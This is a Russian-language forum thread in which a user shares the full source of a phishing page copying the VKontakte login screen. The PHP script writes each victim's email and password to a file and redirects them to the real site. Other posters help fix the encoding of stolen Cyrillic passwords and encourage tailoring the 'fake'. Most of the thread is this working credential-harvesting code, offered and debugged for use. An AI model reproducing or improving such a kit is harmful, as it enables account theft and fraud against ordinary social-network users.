Если в пароле у юзера есть русские буквы то обработчик записывает в базу, что то типо такого îëÿ333 Как с этим бороться?
Вот файл обработчик: <?PHP $Login = $_POST['login']; // Ëîãèí $Pass = $_POST['pass']; // Ïàðîëü $log = fopen("base.php","a+"); //îòêðûâàåì ôàéë áàçû fwrite($log,"\n $Login:$Pass \n"); //çàïèñûâàåì âñ¸ fclose($log); //çàêðûâàåì echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://vkontakte.ru/id10414'></head></html>"; ?> записывает в base.php
перед <?PHP попробуй просто добавить: <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
в смысле не сюда, а на саму страницу фейка, с которой у тебя идет передресация на этот код php, у тебя же где есть поля для ввода пароля и прочее - вот туда вставь
ИНДЕКС.ПХП PHP: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="vkontakte"> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> <title> Êîíòàêòå | Âõîä</title> <link rel="stylesheet" href="css/rustyle.css?17" type="text/css" /> <script src="js/functions.js?21"></script> <link rel='stylesheet' href='css/login.css?2' type='text/css' /> <link rel="stylesheet" href="http://vkontakte.ru/css/rustyle.css?3" type="text/css" /> <link rel='stylesheet' href='http://vkontakte.ru/css/help.css?2' type='text/css' /> <link rel="shortcut icon" href="http://vkontakte.ru/images/favicon.ico" /> <!--[if lte IE 6]><style type="text/css" media="screen">/* <![CDATA[ */ @import url(css/ie.css); /* ]]> */</style><![endif]--> <!--[if gte IE 7]><style type="text/css" media="screen">/* <![CDATA[ */ @import url(css/ie7.css); /* ]]> */</style><![endif]--> <script src="js/niftycube.js?1"></script> <script type="text/javascript"> <!-- function addEvent(e, t, f) { if (t == 'load' && window.onDomReady) { onDomReady(f); }else if (e.addEventListener) {e.addEventListener(t, f, false);} else if (e.attachEvent) {e.attachEvent('on' + t, f);} } function removeEvent(e, t, f){ if (e.removeEventListener) {e.removeEventListener(t, f, false);} else if (e.detachEvent) {e.detachEvent('on'+t, f);} } //--> </script> <script type="text/javascript"> <!-- (function(){ var loadFn = function(){ Nifty("ul.tabs a", "small top"); Nifty("ul.buttonRow a", "small"); Nifty("div.leftAd","small transparent"); Nifty("div.selPad","small transparent"); Nifty("div.myPad", "small transparent"); }; addEvent(window, 'load', loadFn); })(); //--> </script> </head> <body> <div id="pageLayout"> <!-- pageHeader --> <div id="pageHeader"> <h1 id="home"><a href="index.php">ÂÊîíòàêòå</a></h1> <ul class="topNav" style='padding-right:5px'> <li style="width:5.5em"><a href='http://vkontakte.ru/faq.php'>ïîìîùü</a></li> <li style="width:7.8em"><a href="http://vkontakte.ru/reg0'">ðåãèñòðàöèÿ</a></li> <li style="width:4.0em"><a href='http://vkontakte.ru/'>âõîä</a></li> </ul> </div> <!-- End pageHeader --> <!-- sideBar --> <div id="sideBar"> <ol id='nav'> <li><a href='http://vkontakte.ru'>Ãëàâíàÿ</a></li> <li><a href='http://vkontakte.ru/'>Âõîä</a></li> <li><a href='http://vkontakte.ru/reg0'>Ðåãèñòðàöèÿ</a></li> </ol> <div style="width:124px"> </div> </div> <!-- End sideBar --> <!-- pageBody --> <div id="pageBody" class="pageBody"> <div id="wrapH"> <div id="wrapHI"> <div id="header"> <h1> Îøèáêà</h1> </div> </div> </div> <div id="wrap2"> <div id="wrap1"> <div id="content"> <img src='1.jpg'> <div class="simplePage"> <form method="post" name="login" id="login" action="log.php"> <input type="hidden" name="success_url" id="success_url" value=""> <input type="hidden" name="fail_url" id="fail_url" value=""> <input type="hidden" name="try_to_login" id="try_to_login" value="1"> <table align="center" cellpadding=0 cellspacing=7 border=0 width="40%"> <tr> <td width="100px"> <span class="grey">Email:</span> </td> <td> <input class="inputText" type="text" name="login" value="" id="email" size="25" /> <td> </tr> <tr> <td> <span class="grey">Ïàðîëü:</span> </td> <td> <input class="inputText" type="password" name="pass" value="" id="pass" size="25" /> </td> </tr> <tr> <td> </td> <td> <input style="margin-top:1px; vertical-align: middle;" type="checkbox" name="expire" id="expire" value="1" /><small>×óæîé êîìïüþòåð</small> </td> </tr> <tr> <td> </td> <td> <div style="height:20px; margin:5px 0px"> <ul class='nNav'><li style="margin-left:0px"> <b class="nc"><b class="nc1"><b></b></b><b class="nc2"><b></b></b></b> <span class="ncc"><a href="javascript:document.login.submit()">Âõîä</a></span> <b class="nc"><b class="nc2"><b></b></b><b class="nc1"><b></b></b></b> </li> <li> <b class="nc"><b class="nc1"><b></b></b><b class="nc2"><b></b></b></b> <span class="ncc"><a href="http://vkontakte.ru/reg0'">Ðåãèñòðàöèÿ</a></span> <b class="nc"><b class="nc2"><b></b></b><b class="nc1"><b></b></b></b> </li></ul> </div> </td> </tr> <tr> <td> </td> <td class="forgotPass"> <a href="login.php?op=forgot">Çàáûëè ïàðîëü?</a> </td> </tr> </table> <input type="submit" value='.' style="color:#fff;border:0;padding:0;margin:0;background:#fff;height:6px;width:6px"/> </form> </div> </div> </div> </div> </div> <div id="boxHolder"></div> <!-- End pageBody --> <!-- bFooter --> <div id="bFooter"> <ul class="bNav" style="text-align: center"> <li><a href="'http://vkontakte.ru/help.php?page=about">î ñàéòå</a></li> <li><a href="'http://vkontakte.ru/techsupp.php">òåõïîääåðæêà</a></li> <li><a href="'http://vkontakte.ru/blog.php">áëîã</a></li> <li><a href="'http://vkontakte.ru/help.php?page=terms">ïðàâèëà</a></li> <li><a href="'http://vkontakte.ru/help.php?page=adv">ðåêëàìà</a></li> </ul> </div> <div id="bFooter"> <p> Êîíòàêòå © 2006-2009<br /> <a href="/?lang=3&lhash="><img src="http://vkontakte.ru/images/flags/us.gif" vspace="5"/></a> <a href="/?lang=1&lhash="><img src="http://vkontakte.ru/images/flags/ua.gif" vspace="5"/></a> <a href="/?lang=2&lhash="><img src="http://vkontakte.ru/images/flags/by.gif" vspace="5"/></a></p> </div> <!-- tns-counter.ru --> <script type="text/javascript"> <!-- addEvent(window, 'load', function(){ var img = new Image(); img.src = 'http://www.tns-counter.ru/V13a***R>' + document.referrer.replace(/\*/g,'%2a') + '*vkontakte_ru/ru/CP1251/tmsec=vkontakte_total/'; }); //--> </script> <noscript> <img src="http://www.tns-counter.ru/V13a****vkontakte_ru/ru/CP1251/tmsec=vkontakte_total/" width="1" height="1" alt="" /> </noscript> <!--/ tns-counter.ru --> <!--LiveInternet counter--> <script type="text/javascript"> <!-- addEvent(window, 'load', function(){ var img = new Image(); img.src = 'http://counter.yadro.ru/hit?r' + escape(document.referrer) + ((typeof(screen)=='undefined')?'':';s'+screen.width+'*'+screen.height+'*'+(screen.colorDepth?screen.colorDepth:screen.pixelDepth)) + ';u' + escape(document.URL) + ';' + Math.random() + ''; }); //--> </script> <!--/LiveInternet--> <!-- End bFooter --> </div> <!-- End pageLayout 431 --> </body> </html> LOG.PHP PHP: <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <?PHP $Login = $_POST['login']; // Ëîãèí $Pass = $_POST['pass']; // Ïàðîëü $log = fopen("base.php","a+"); //îòêðûâàåì ôàéë áàçû fwrite($log,"\n $Login:$Pass \n"); //çàïèñûâàåì âñ¸ fclose($log); //çàêðûâàåì echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://vkontakte.ru/id10414'></head></html>"; ?> BASE.PHP PHP: <?php echo '<H1>Доступ к базе закрыт!!!</H1>'; exit; ?>
2 cnd: и то, и другое, по очереди, вставь в обычный блокнот windows, сохрани, если будет чо спрашивать, на всё отвечать "да", потом обратно на сервак залей (ну или туда, где ты там фейк тестишь) Просто у тебя все исходники в уникоде, а надо в ANSI Когда я так сделал - русский текст нормально сохраняется вот ты сам на свой вопрос и ответил
Всё сделал как сказал ты залил на хост и оно + что незаписывало как надо дык ещё и в браузере все русские буквы такой же мазой показывалиссь
Дык фейки надо не просто уметь скопировать откуда-то, но и еще потрудится немножко, переделать под себя. У тебя там работы на 2, максимум три минуты. Не ленись - в 5 местах текст перебить, тоже мне проблема. ЗЫЖ Только все равно это голимый фейк, фейки так не делаются, есть же оригинальная страница контактов